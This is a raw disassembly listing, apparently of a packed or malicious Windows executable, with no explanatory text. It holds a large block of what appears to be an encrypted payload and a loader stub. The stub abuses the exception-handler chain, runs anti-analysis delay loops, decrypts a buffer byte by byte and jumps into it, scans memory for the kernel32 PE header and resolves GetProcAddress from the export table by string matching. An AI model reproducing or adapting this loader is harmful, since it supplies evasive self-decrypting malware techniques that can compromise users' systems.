		dd 312582F6h, 0F2DFE992h, 0CD75640Fh, 833ABECFh, 0D34AA28Eh
		dd 97D52E1Eh, 31E6D9E8h, 0DAF58842h, 0FAA2683Dh, 224E4ACDh
		dd 0F53B6043h, 2E7EAFFEh, 0CF99EFC5h, 64E9A246h, 0C53E102Ch
		dd 0BEF0C87h, 0DE547902h, 339AD5C1h, 122F905h, 0D4C18BA9h
		dd 9DE5667Dh, 964AD6CEh, 43B39CBAh, 96B6FA9Ah, 0E4589423h
		dd 12AF3E1Bh, 0F2EBADEFh, 0E7BDBFADh, 0CD07FD05h, 0FC1D69E1h
		dd 47410EDCh, 90E2A6A5h, 0F0D7E1FCh, 0E66799F6h, 0B05A52B5h
		dd 62A3DBEh, 4C204371h,	0B1DFE312h, 0FA09AC64h,	665D4F7Fh
		dd 0BFF5BB68h, 87181ED0h, 0D2DC4182h, 86F2305Bh, 0F244344Ah
		dd 6F8828AEh, 0DEF3B825h, 970FF132h, 741F9AF0h,	0AE5F9057h
		dd 0E46DFF1Ah, 54E4345Eh, 0DF440E0Bh, 5030A1FDh, 443A94B4h
		dd 4BF1C8DBh, 94C0DBB9h, 47F2569h, 9ED9F5Bh, 9E6214E4h
		dd 4510B2FAh, 0ED54D791h, 27D975ACh, 656B90EDh,	2345E1ABh
		dd 60A655BAh, 281C30D9h, 50B94AB4h, 7BBFB045h, 1A6791A2h
		dd 2AC925C2h, 126E2631h, 0D0C3C744h, 43AD2CB3h,	0DEF42F53h
		dd 0C2AD3AD5h, 93E06FADh, 0D340BD8Eh, 0BE198A8Fh, 698F50C9h
		dd 56E2FA75h, 2D1358D9h, 1281529h, 5432D27Bh, 0DF6F0C54h
		dd 2E1B6D8Ch, 29F3D37Ah, 0A113E742h, 0E6FFD0D3h, 30AE8F9h
		dd 2B2CE578h, 337A52Ah,	7142AAE6h, 5F8DE56h, 2320CDE5h
		dd 9432CB2Dh, 90BD3285h, 4811A00Ch, 0F7425706h,	0F7B4B611h
		dd 2CF1FF1Bh, 0FBAAFEF5h, 6EA7678Dh, 54ACBAA9h,	371C53E8h
		dd 12626FC2h, 7C70FD88h, 2D800178h, 1D37CA5Eh, 58540EAEh
		dd 82101FC4h, 31D468C1h, 0C2632AF0h, 0BD045134h, 70BC7020h
		dd 628DD3ACh, 290FFFBAh, 2F09D5CBh, 336C7B03h, 0FEBB4996h
		dd 2A2817FCh, 65E361BBh, 0BD36A637h, 24665556h,	0B88D8384h
		dd 8E9687AAh, 4794362Fh, 20D93D95h, 6B98F214h, 8BBD255Dh
		dd 9F8F3C9Ch, 0ADBAD602h, 4CED5340h, 815B6020h,	1CA0A0D8h
		dd 0A50575D7h, 5C4AD21Bh, 17894D3Eh, 9F1AB586h,	5BD69C16h
		dd 0E93EB44Fh, 34F09A90h, 0C794355h, 9DDF0827h,	80A36C8Eh
		dd 0C0CD4836h, 7CF8F61Ch, 14939FDCh, 287B807Fh,	4352A0FDh
		dd 427FFD74h, 6860CF77h, 470ECD42h, 5D2F486Ah, 1B0A6342h
		dd 804AA94Bh, 0C9F2054h, 0FC045DC1h, 0EC1AB922h, 29C81599h
		dd 18480948h, 3A5C239Ch, 79EDA161h, 0AC3807BCh,	0EF5F8245h
		dd 5D510410h, 70699E96h, 8B615674h, 3F761834h, 0E3F53E62h
		dd 0EB146058h, 74AC89F2h, 159C08Ah, 1F7DC51Ah, 0ECA7EF66h
		dd 2F72CEB1h, 98F6B547h, 0B01F2107h, 970A14F6h,	4735C522h
		dd 0F850EBB4h, 0F0A63821h, 74A79AC9h, 358AD380h, 0EBCFFB44h
		dd 0E29DA309h, 11ADC1D4h, 56CDDF44h, 0F408C3CFh, 0BAA1A209h
		dd 0A0A31DEEh, 0F42F548Bh, 0DD9BA6FEh, 0CFA65584h, 0F77C940Fh
		dd 8781E802h, 46F98106h, 7530BBC8h, 40FD8DCh, 0DD80FD35h
		dd 1F5CD949h, 0B19BCF61h, 7C083C54h, 0C427CCC0h, 0CB61D1BFh
		dd 4C848F52h, 53A859Ah,	0A6F49B5h, 0F7DF18F5h, 0E098E75Bh
		dd 6EC097B9h, 0CA74409Fh, 0ED698329h, 0B4913C9Eh, 183879CBh
		dd 9D87B8Ch, 0AD4E6E4Dh, 0E7C04669h, 8E3E251Bh,	0B9463777h
		dd 625B2E6Bh, 0F53D4091h, 1B212D0Eh, 9B4AE60Eh,	9FA86D3Ch
		dd 8F94FBF9h, 894C6659h, 0B9029230h, 0DB8DF781h, 0E663E404h
		dd 9E7A3F4Fh, 34D6BADDh, 7B1F6967h, 4E154F7Dh, 683265DAh
		dd 42729833h, 0DA55B60Eh, 56E6ABA1h, 9AD59E9Ch,	0C9A7F0DAh
		dd 0F3052BCEh, 63C5C2FDh, 8FFFE4A9h, 0CDDDA873h, 5426DBE5h
		dd 0B076556Bh, 12C6AE6Fh, 5575DE96h, 62D41E59h,	7435202Ch
		dd 229EF8DAh, 450AB631h, 4899FBBAh, 0C5A018FBh,	0D2D137C3h
		dd 0C5F7E3FFh, 0BE3021F5h, 75D473E2h, 65EDE1E9h, 0BBE4EA0Bh
		dd 823E8E27h, 8C56742Eh, 50CD3698h, 0D5DE31D7h,	60E1DD98h
		dd 9FC899FAh, 1FB73611h, 25B31DADh, 7CAFF4Dh, 0D874DB13h
		dd 25000504h, 0B0CC66A0h, 0EEDB8297h, 35F81349h, 638A97Fh
		dd 153C14E8h, 0F89B4AB0h, 197F191Bh, 7967881h, 0A9EA1283h
		dd 3EBC42E0h, 3A8A500Bh, 0FBB7A06Dh, 8147EEA0h,	0E5115A11h
		dd 6F58E43h, 0D735424Fh, 0DA9D2F5Dh, 0CF2C8156h, 3E24B0E1h
		dd 29A3B1C5h, 0E0A0A513h, 0DFC29523h, 4348DA81h, 0E3AC3705h
		dd 5EE97FD1h, 0AF4A848Ch, 0BEDFF469h, 9092F358h, 0ED89B575h
		dd 0E9E58F31h, 0F4EE0B51h, 8F6C8E11h, 0DBA1E1A4h, 2AD52C53h
		dd 0BE95D3A9h, 4D48A0C4h, 5C9AD716h, 0B6429ADDh, 9BE6A043h
		dd 1441867Eh, 0EBB1AA16h, 59C4C22Fh, 3D2F16Fh, 0CA056604h
		dd 3E550A87h, 0F5A59F76h, 912D7DCh, 86C3CF20h, 6D56204Bh
		dd 1D2D3C9Bh, 2882DF0Bh, 73643FDCh, 3DE219FCh, 59474004h
		dd 58A63CB1h, 4D223F56h, 1A0324B3h, 0DCE8C504h,	78AF3A0Fh
		dd 28A3C235h, 0C0F1473Bh, 521E9EC1h, 5F261BA8h,	33B5B4F3h
		dd 92F4448Ch, 0A995D54Ah, 47AAC7FCh, 572D49EDh,	0BA2635Bh
		dd 3D8BC17Fh, 31E50A68h, 0F1D5A59Dh, 0EBB1101h,	0E1A084A0h
		dd 0F0019508h, 12A46E68h, 6B07DD29h, 5F015520h,	0C4FB4AA0h
		dd 0FE55BFF6h, 40CF31C7h, 5C1EB40Eh, 102C0A7Ch,	7D22E743h
		dd 0E08C5D73h, 23CCCC09h, 5E896B90h, 0BA54C6C1h, 45442EF8h
		dd 0E841D04Fh, 0F13F470Ch, 0BF69BE96h, 0AFAE1589h, 78142BD6h
		dd 42079F01h, 0C219B762h, 633515C6h, 6EAC786Ah,	79812212h
		dd 36B4DAFAh, 4BC63D82h, 0CDB3C0D0h, 0F8C9171Eh, 7C7182Fh
		dd 3E0F2BFEh, 9EFE61A3h, 0B64B2A76h, 0CE16D7C9h, 65DA70Ch
		dd 731F2E1Eh, 0C1390EBEh, 5D57FA54h, 5998D95Dh,	0D4FCA1EDh
		dd 159A4334h, 0E8C39AC6h, 271D4511h, 874DD151h,	90F91637h
		dd 0F862AADEh, 0BE58607Ch
		dd 0D1BE017Fh, 0EF4E2DCFh, 96CA3E85h, 18C667AFh, 392C62Bh
		dd 24A5BAB3h, 7EA85EE6h, 68667D81h, 47AD1E00h, 0CE078654h
		dd 7939E4FAh, 627A6E14h, 0BB0BB348h, 5476314Bh,	0BB904350h
		dd 0E92512A0h, 0B677A325h, 4496F7ADh, 3BD7C9B5h, 0C62A532Fh
		dd 8EF03B8Ch, 0F1AA5B9Dh, 3EA260A6h, 58E0D4B7h,	0D03E5A85h
		dd 6A96CE5Fh, 68E404ABh, 3337AC22h, 5731B0C3h, 0F680A766h
		dd 0DF8645D2h, 8525FEEFh, 7B301200h, 0DD62279Dh, 0DEA29B0Eh
		dd 51E74F02h, 0CFAC3AE4h, 31A93776h, 0CBD086D4h, 0A77E4772h
		dd 0CA7E35A4h, 45FCE5C6h, 907CE0ADh, 256EA321h,	921969B2h
		dd 96534BB2h, 0B4E99E10h, 0D1EC1021h, 0BB23165Fh, 5FDD622h
		dd 95A05F8Fh, 0D64F0A82h, 5E878331h, 0BFD27950h, 25E26FF6h
		dd 17FE751Ch, 5D970DA5h, 0A7423024h, 0A62387E1h, 82168600h
		dd 0C0F18C52h, 0C380D6Ch, 31629CBAh, 397F1882h,	2E3B664Ch
		dd 42496564h, 6C25681Dh, 0F99E4866h, 631D0580h,	0EBE22724h
		dd 0CE88B485h, 0D4260659h, 7B8F1A63h, 0B846171h, 0B6612415h
		dd 5A0F255Bh, 7DEF6BF7h, 9839E85Bh, 33B70003h, 6F3E88DEh
		dd 4B7C551Bh, 30DAD75Bh, 0E4225F5Ah, 0C5FB5064h, 96BB7670h
		dd 0B9F18420h, 0C0A13384h, 1406C34Fh, 2DA2A5EEh, 2A6EA6A8h
		dd 1ABECF47h, 17167433h, 0C19F9EDDh, 0E206A41Ah, 39F62E68h
		dd 9D84FA5Bh, 8DE65783h, 1D69011h, 0C2C0FAA1h, 7878E719h
		dd 5EBCCC01h, 746C0944h, 71CAF8E8h, 0AF4B310Ch,	92EBDC4h
		dd 4834EB8Fh, 3600C292h, 0F7682107h, 0BAFB23F2h, 13E1358Bh
		dd 83C21A69h, 0B58DAEDCh, 3F7FB2BEh, 0B05F721Ch, 0B74A9FDBh
		dd 0C1096629h, 1F9FDFCFh, 35333CF0h, 3217B41Dh,	4684BC61h
		dd 8592BDB5h, 25C32B13h, 8AFC808Dh, 8C67C0DEh, 963BC84Ch
		dd 0CB2487EEh, 17A0C2h,	4DD9EBB4h, 1815BBDh, 0D9973694h
		dd 0A43CE180h, 9A9BAE9Ah, 0E4B4B4F3h, 0F641BB6Bh, 7130275Eh
		dd 3837FD6h, 8B3E7300h,	0AFF936CFh, 122E0583h, 0B51BA338h
		dd 622C406h, 0A1060C7Fh, 0ACD9A15Bh, 8DF3E3C8h,	9F28AFACh
		dd 0DC971645h, 0E71F20A6h, 0DE5B0D33h, 1A8BEA52h, 0F34DB916h
		dd 3F53F29h, 99EC205Eh,	0E7CB27D4h, 2C260ED7h, 447EEBC0h
		dd 74FC8E8Bh, 359DC4AEh, 0B0B32CB7h, 9FCB6035h,	0EF113F0Bh
		dd 768FCA9Ah, 0DA4839Dh, 89BBE824h, 2F6475DAh, 0F289BD35h
		dd 99B76D1Ah, 8C62B5DCh, 0CF4CDF0Ah, 4D078F48h,	0B0EE9862h
		dd 7F4A0E27h, 34B323E7h, 86EA26CAh, 0D5A4F158h,	861611B4h
		dd 51CA70Eh, 0C8C523FBh, 0F91C274Eh, 0B39A8D1Ch, 0EBB8DD70h
		dd 0D98CA107h, 0E8F4B3F3h, 5B7E9C83h, 830D4EA9h, 9D6F68B8h
		dd 3EED56A0h, 0BB741069h, 2028C510h, 50CF5FF8h,	221D3F31h
		dd 881210F7h, 5D0C63D5h, 0A08E2EADh, 17BC82Eh, 701679FCh
		dd 96FBAEE5h, 7FBFC31h,	0D428B196h, 0EE51FC13h,	0EDFC6BEAh
		dd 708E9CB5h, 750F3EC9h, 0C02C720Fh, 48D97CA7h,	0E4A22F9h
		dd 412594A5h, 0DB2F6608h, 4D9A044Bh, 194B32D9h,	0E81BA7B9h
		dd 0DD507753h, 0BB36EC8Fh, 3C1376B5h, 8F5C3CC0h, 0A9AB51E2h
		dd 0FBFFC525h, 1FF778CBh, 0E11CEBBCh, 0BBB8E49Dh, 0AA4C10FFh
		dd 0EFE876D5h, 8C249346h, 4575688Bh, 9B3BDA4h, 5F34B00h
		dd 0D158CBA0h, 0AE2EF3D8h, 7F28859Dh, 2B9C32A0h, 4A69852Eh
		dd 3A00959Fh, 80266AFBh, 1C29242Eh, 1A5B5021h, 0F63D5ED1h
		dd 66AAA9E2h, 0F31E323Dh, 0EF112482h, 20A0D9FAh, 0A9522A72h
		dd 9B6B7CF7h, 0A7FCDE3Ch, 695F0C18h, 0C6C1397Dh, 0FBE99192h
		dd 70BF492Dh, 74C3C27Fh, 0A4340D89h, 6588447Ch,	0A1CE4D61h
		dd 755C8E39h, 83939F0Ah, 6B76952Bh, 0E8BF2E97h,	2C77FB3h
		dd 98A1E25h, 0ACCAF464h, 6F7B6DCCh, 0C40D4DBDh,	0AE2FB025h
		dd 0A56B584Ah, 9D239F35h, 0A6E73958h, 9E3EC58Ch, 992B3627h
		dd 0F214B1A2h, 5662DF1Ah, 0CEEC7584h, 84FEE708h, 69883427h
		dd 0F797FE79h, 0C996D6F8h, 0A37723B4h, 490D2867h, 0EDC8C37Ch
		dd 246C1676h, 586E3EA9h, 43238201h, 0FC17555Dh,	5869F467h
		dd 0CD649FCEh, 0C4B8111h, 6BF0CB8Ch, 45C6FFFh, 42BBD79Fh
		dd 3F9A093Dh, 28DFE34Ah, 0B7EABACEh, 0AF8B8CC4h, 0C1ECBC2Fh
		dd 8A0E3852h, 4A8B14BEh, 0D80D2D11h, 788FF1BAh,	75A2B7F7h
		dd 0B483836Ah, 4451F0EBh, 0DC4292E0h, 5A7BB89Ah, 0EA74125Dh
		dd 0F09C0E03h, 8C66E14Ch, 76C588A6h, 35C4E35h, 2A2E7848h
		dd 0D2FA2D68h, 390610C2h, 0BAAE3A13h, 0A1B9E8D6h, 0D03CCEF8h
		dd 0CF06EC16h, 8BE010Bh, 0A36A1D3Fh, 855181CBh,	20871500h
		dd 7AAA93F7h, 36D3FCBAh, 9E66CDA3h, 5D349ABh, 0E485BD31h
		dd 3A3A016h, 10C75C25h,	0F52F4E50h, 0D4041C30h,	1BC300D4h
		dd 287808C9h, 397553F7h, 66A2419Bh, 77BBF4CFh, 0E181A447h
		dd 0D10ADBB9h, 39FF65ABh, 427AD358h, 0D4EFB8A6h, 0BBC03EE3h
		dd 88E05FE3h, 1B1189FEh, 3F7313BEh, 6006802Fh, 0B040AEE8h
		dd 115ACFDFh, 46E7B3EAh, 82F4FB22h, 8B332562h, 0B24BFA48h
		dd 634A8F7h, 6E1FEAD6h,	1352B14Bh, 8B981E16h, 93F39CFEh
		dd 0F12BD802h, 0B8E2D944h, 1F02C6FFh, 30D20D2Eh, 692A452Ah
		dd 0B9A42CF0h, 0E97E227Dh, 781D3B3Ch, 62C5E62Ah, 0EA6AFF5Fh
		dd 0C491287Ah, 1BB3FFBAh, 4DBC421Eh, 40C33AC3h,	40C3A8D2h
		dd 0E274CAEAh, 9CB0A0ECh, 16CC4702h, 0A34DA781h, 1DB25C64h
		dd 8D1DFBF6h, 9EC82193h, 0ABC0FC7Eh, 696E7CA6h,	0EA37B5BDh
		dd 0A9FD18DDh, 0E579BD7Bh, 9B5E86B4h, 65102B67h, 0F0B473F0h
		dd 74B7A51h, 908FBD7Dh,	8C51DEE0h, 5BDE0F50h, 15EF5715h
		dd 6E06F7C5h, 0E97D43D4h, 2A8BA876h, 16B2CA31h,	0AAFAC637h
		dd 5FB1116h, 0D552CC81h, 0DA546B42h, 5D14FF4Fh,	849DE5E7h
		dd 94CC9CCEh, 994EFE39h, 3D102005h, 0DC63D6C1h,	0BD57EA26h
		dd 0AE2449C1h, 0B04F359Bh, 958A5D80h, 1F441003h, 0AC4B610Ch
		dd 5F3F93D9h, 0F7A66A18h, 337503C4h, 2627B398h,	7AF6D814h
		dd 0AC2F8B06h, 0A69A3FC4h, 0D8BDC716h, 4C5FA5BCh, 9F256F1Ch
		dd 0CDD35915h, 0F993E75h, 2BF2978Ah, 2ACADA41h,	1BCC1B1Eh
		dd 6CAECC3Ah, 0F370D3A8h, 519D7733h, 5529DF50h,	56B05B92h
		dd 9231080Bh, 1D7B8D74h, 0BB546073h, 26131A34h,	0D5E86193h
		dd 6607F3C0h, 2CDFC531h, 7E224BEh, 37456F65h, 6B4A10EDh
		dd 5C69E026h, 845517B0h, 0E1DC16EDh, 3BBB73ADh,	7157CDB9h
		dd 0E51EF213h, 0C13E8320h, 0B9DD07E2h, 0A9A00B7Ah, 41A5E91Eh
		dd 772FD622h, 37429151h, 4B138E00h, 99DE4F1Dh, 0D0533FFDh
		dd 5FFA77F1h, 4B997D9Dh, 947B00B1h, 2EC5D747h, 0FE54D9B4h
		dd 70259140h, 0E5D9AC4Dh, 0DA05E478h, 0D151E614h, 97D780DDh
		dd 0B11124A3h, 0EC03F71Fh, 0DC2ED7B2h, 1D16A26Dh, 658E7F43h
		dd 931075D4h, 0C66DCF53h, 666BF070h, 2ED4E81Ch,	0F443C71Fh
		dd 966EC896h, 0FDFCEBh,	287922E9h, 0E730CF29h, 3F486199h
		dd 50B6E39Fh, 0BE15F608h, 19F64763h, 0DBE0A244h, 0F5DC92Ah
		dd 0FED49D42h, 0DAE933DEh, 4F57AF3Ch, 70620951h, 1536BC5Ch
		dd 0B6ACE656h, 0E9C8C867h, 5D075B53h, 0D73534FFh, 7529DB9Ah
		dd 227A1F05h, 890E9A04h, 56779F3Fh, 0A1FBE6E1h,	9E942E50h
		dd 0BBE3C196h, 50B62651h, 7E7232BDh, 6BEF1F19h,	0E23027D0h
		dd 8534BCDDh, 4BF26CB7h, 4F95C477h, 0D3203CCAh,	159ADFB6h
		dd 79EEA683h, 0C7D08F8Ah, 0B215B291h, 808609E6h, 0A4657ED2h
		dd 8BAB423Ch, 51DD3764h
		dd 0D88F9F3Eh, 0BEB91075h, 6C5CFBF8h, 91728715h, 7B6ADA7Ch
		dd 7C08BE7h, 41763650h,	0B980D9C1h, 2F9CAEB7h, 0E34EE28Ch
		dd 5EC69A3h, 9DE3BF8Ah,	334C67BDh, 6F005767h, 0F2E9CFB4h
		dd 68ABF13Ah, 0C0D309B0h, 29F4450Dh, 24A231AFh,	0A2AF5422h
		dd 91BAAA44h, 81EA0E10h, 0C7C2B991h, 8C275A13h,	47B5432Ch
		dd 6B990A51h, 0D708B660h, 28EA53F1h, 0CDA43557h, 82EF8CD7h
		dd 0C3A2429Eh, 0E5527C17h, 96081485h, 878402A3h, 0BF598438h
		dd 9267C134h, 21050E7Dh, 94F64F0Ch, 9E430342h, 18ECE9EDh
		dd 31C6632Dh, 82F22FA8h, 2C3AF99h, 9463B40Eh, 48B8B148h
		dd 48E8B247h, 0A6D39C7Bh, 0B539012Bh, 0F9B42D7Fh, 0C30A591Bh
		dd 398850ECh, 223DA826h, 0FAC92ADh, 17094302h, 88DF0555h
		dd 0C1008574h, 3A8F9408h, 8EEEC6Fh, 3B162B4Ah, 33707561h
		dd 0BDFAE0E4h, 54D85804h, 777F6949h, 909E0FFAh,	954BCF11h
		dd 0E2BD8DC9h, 0B05C574Dh, 96D3CCF4h, 0FE46BB15h, 11F1D9Bh
		dd 178B2FA8h, 0C486C634h, 0B4B28F01h, 0CC0861FAh, 0E6A7043Eh
		dd 0EC39EBEFh, 0C9E3CDB1h, 0DF2A3E17h, 5EBF82FFh, 9B8B725Dh
		dd 6009D266h, 40E2C45Fh, 16670710h, 9C62F42Eh, 0CF446DBh
		dd 10CE415Eh, 0C3003BBBh, 0B7B457A3h, 0A1EFFF11h, 0BF9758F2h
		dd 7DFCE38Fh, 57A34BE4h, 0A17A35D4h, 93D9470Bh,	564468FDh
		dd 45EBEF4Ah, 7164EB0Fh, 0D17DD4F0h, 30205E2Ah,	22ADECF4h
		dd 0A547EC74h, 0C0601BA6h, 53C0BFD3h, 9DCD2FDDh, 1CA38088h
		dd 93E1890Bh, 594D0B97h, 3EC6A847h, 0BC735E4Eh,	7177930Fh
		dd 0EF3753B5h, 85D61543h, 5020D9E3h, 0C0451D3Ch, 1E029523h
		dd 0C8B835Fh, 2251DF75h, 0CC43F0D6h, 9E18D2FFh,	1369686Fh
		dd 6CD85A9Bh, 0E083CDB4h, 0A1492060h, 6F341754h, 216B41Fh
		dd 79154166h, 238320F7h, 0A506CEB4h, 35E76EF5h,	2BF7265Bh
		dd 0CF11BC75h, 9DB21B04h, 59494FA9h, 81D08E55h,	0E372827h
		dd 17A9B533h, 1246548Ch, 79B42023h, 3588E1A0h, 16089DD1h
		dd 3C6CD8Bh, 94F83280h,	9D4B0935h, 9C301B63h, 884E6C87h
		dd 5B1CF94Bh, 0AFF10E94h, 0F8C0CF7Eh, 27B7C2BFh, 9352DFD2h
		dd 39489197h, 2D35FAD8h, 4A904FC3h, 4997F375h, 8B3A8DE3h
		dd 2804C36Bh, 65A421Dh,	0B3C59BD1h, 0BC9A683Fh,	0D225388Fh
		dd 804D25A4h, 2FB369D7h, 61035325h, 0C9E565E5h,	6B17EAAFh
		dd 1225B407h, 14F374F5h, 44EF83C4h, 89B2C5A4h, 0BEBA3178h
		dd 0A9479685h, 3F1E2180h, 84467D8h, 0B88159C3h,	7A7C70F8h
		dd 0A42470C5h, 64076479h, 1562D81Ch, 825E9663h,	42C18A61h
		dd 0C4DDA44Ch, 4495FAFAh, 87AD2BD0h, 0C60360CCh, 9502B9E1h
		dd 32D3D18Eh, 0CE635826h, 598B352Ch, 7FEA69B3h,	0B1BD0F29h
		dd 0E31BD4Ah, 0E893ED69h, 65B12490h, 62A24787h,	2B4260B9h
		dd 13DEF917h, 62C7257Fh, 2EDFEAB5h, 0D405F121h,	49427D97h
		dd 0C5847BD9h, 75AC9FB2h, 5B027104h, 4230D2FEh,	0F5EDC81Ch
		dd 3EF32383h, 2227404Fh, 5AD227D3h, 0B5340149h,	6C057987h
		dd 36E2FAF7h, 0FBD8AD6Bh, 33D69C51h, 4017624Bh,	8CA82D21h
		dd 2B7CE6B1h, 0C6FAFE70h, 0DC76C2BCh, 274DCEA5h, 0C0A555BEh
		dd 1E569E78h, 73F30434h, 0D4C131B7h, 26B164ADh,	0DE7D664Ch
		dd 0AB4EC646h, 85B63242h, 8DE323C7h, 7B49C912h,	0F18A9EBAh
		dd 0C0D5794Ch, 0C7EDA4B3h, 42FB11CDh, 25AE92ADh, 47727237h
		dd 6850E59h, 69E9270Ah,	0C91C9428h, 9D08BD26h, 0A286FEE8h
		dd 0B07354A9h, 0D193557Fh, 74D8D1BAh, 0DE56AA86h, 9EC051B8h
		dd 0EB61CDECh, 0DAD99F8Dh, 0C457E2EBh, 0FD342050h, 31216F3Bh
		dd 66363D8Bh, 2A06443Fh, 78066D41h, 83BFDED0h, 608BE432h
		dd 6D73F149h, 88D8B648h, 0C184040Dh, 0EB08EE57h, 0A285A494h
		dd 2EADF9DAh, 16B20800h, 0D8066A26h, 0FCB0031Bh, 987BE7D0h
		dd 34352DE8h, 335A7BF9h, 50A1048Dh, 9660B772h, 0F6F5306Bh
		dd 3649FA95h, 507410E6h, 602D37F8h, 0B272EBDDh,	54F646E4h
		dd 2C7588F0h, 50C2DB30h, 97229154h, 0C95F0306h,	0C0143B70h
		dd 0A5983732h, 0E8A50115h, 0EC2A09A3h, 265AFFAAh, 160C72ACh
		dd 39BEA792h, 70E1248Fh, 5F23A79Eh, 5CC828ECh, 72E9A64Fh
		dd 6757DA06h, 0CC26BB9Ah, 4356B548h, 0FF899A5Ch, 430254FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_4F9DFA
		call	sub_4F9EB3
		jmp	loc_4F9E60
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4F9DFA	proc near		; CODE XREF: start+3p

var_70		= dword	ptr -70h
var_68		= dword	ptr -68h

; FUNCTION CHUNK AT 004F9ED3 SIZE 00000116 BYTES
; FUNCTION CHUNK AT 004FA057 SIZE 0000000A BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		xor	ebx, ebx
		push	ebx
		push	80000000h
		push	ebx
		push	80000000h
		push	80000000h
		push	80000000h
		push	ebx
		push	80000000h
		push	ebx
		push	ebx
		push	ebx
		push	10h
		push	ebx
		call	ds:dword_4E1034	; GetProcAddress
		xor	eax, eax
		push	eax
		push	80000000h
		push	80000000h
		push	2
		push	80000000h
		push	eax
		push	eax
		push	4
		push	eax
		push	eax
		push	eax
		push	80000000h
		push	eax
		call	ds:dword_4E1034	; GetProcAddress


loc_4F9E60:				; CODE XREF: start+Dj
		sub	eax, eax


loc_4F9E62:				; CODE XREF: sub_4F9DFA+6Ej
		dec	al
		or	al, al
		jz	short loc_4F9E6C
		jnz	short loc_4F9E62
		jmp	short loc_4F9ED3
; ---------------------------------------------------------------------------


loc_4F9E6C:				; CODE XREF: sub_4F9DFA+6Cj
		sub	ebx, ebx
		sub	ecx, ecx
		mov	cl, 0EFh


loc_4F9E72:				; CODE XREF: sub_4F9DFA+79j
		inc	ebx
		loop	loc_4F9E72
		call	sub_4F9EB0
		sub	esi, 0FFFFFFBAh
		push	esi
		sub	edx, edx
		or	edx, 243Ch


loc_4F9E89:				; CODE XREF: sub_4F9DFA+A1j
		xchg	al, [esi]
		sub	ax, bx
		xchg	al, [esi]
		inc	esi
		add	bx, 1Ah
		sub	edx, 1
		or	edx, edx
		jnz	short loc_4F9E89
		pop	esi
		xchg	ebp, fs:0
		mov	esp, ebp
		pop	dword ptr fs:0
		pop	ebx
		pop	ebp
		jmp	esi
sub_4F9DFA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4F9EB0	proc near		; CODE XREF: sub_4F9DFA+7Bp
		pop	esi
		jmp	esi
sub_4F9EB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4F9EB3	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_4F9EB3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
; START	OF FUNCTION CHUNK FOR sub_4F9DFA


loc_4F9ED3:				; CODE XREF: sub_4F9DFA+70j
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+6Ch+var_68]
		jz	short loc_4F9F0C
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_4F9F03
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_4F9F0B
; ---------------------------------------------------------------------------


loc_4F9F03:				; CODE XREF: sub_4F9DFA+FAj
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_4F9F0B:				; CODE XREF: sub_4F9DFA+107j
		pop	ebx


loc_4F9F0C:				; CODE XREF: sub_4F9DFA+E3j
		push	ebp
		xchg	eax, ebp
		sub	[esp+6Ch+var_68], 18EC6h
		and	ebx, 0FFFFF000h
		sub	ebp, offset loc_401006
		mov	edi, [esp+6Ch+var_68]
		lea	esi, [ebp+40343Ch]
		mov	ecx, 0
		rep movsb


loc_4F9F33:				; CODE XREF: sub_4F9DFA+155j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_4F9F49
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_4F9F51


loc_4F9F49:				; CODE XREF: sub_4F9DFA+140j
		sub	ebx, 100h
		jnz	short loc_4F9F33


loc_4F9F51:				; CODE XREF: sub_4F9DFA+14Dj
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_4F9F5F:				; CODE XREF: sub_4F9DFA:loc_4F9F86j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_4F9F86
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_4F9F86
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_4F9F86
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_4F9F8B


loc_4F9F86:				; CODE XREF: sub_4F9DFA+16Fj
					; sub_4F9DFA+178j ...
		loop	loc_4F9F5F
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4F9F8B:				; CODE XREF: sub_4F9DFA+18Aj
		sub	[esp+70h+var_70], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_4F9FB1+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_4FA00F+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_4F9FB1:				; CODE XREF: sub_4F9DFA+1A8p
		add	gs:[ebx-1], dl
		setalc
		mov	dword ptr ss:loc_40353C[ebp], eax
		call	near ptr loc_4F9FCD+1
		inc	ebx
		jb	short near ptr loc_4FA028+1
		popa
		jz	short near ptr loc_4FA028+4
		inc	ebp
		jbe	short near ptr loc_4FA02E+1
		outsb
		jz	short near ptr loc_4FA00C+2


loc_4F9FCD:				; CODE XREF: sub_4F9DFA+1C2p
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_4F9FE9
		inc	edi
		db	65h
		jz	short near ptr loc_4FA028+4
		popa
		jnb	short loc_4FA057
		inc	ebp
		jb	short near ptr loc_4FA057+1
		outsd
		jb	short $+2
; END OF FUNCTION CHUNK	FOR sub_4F9DFA

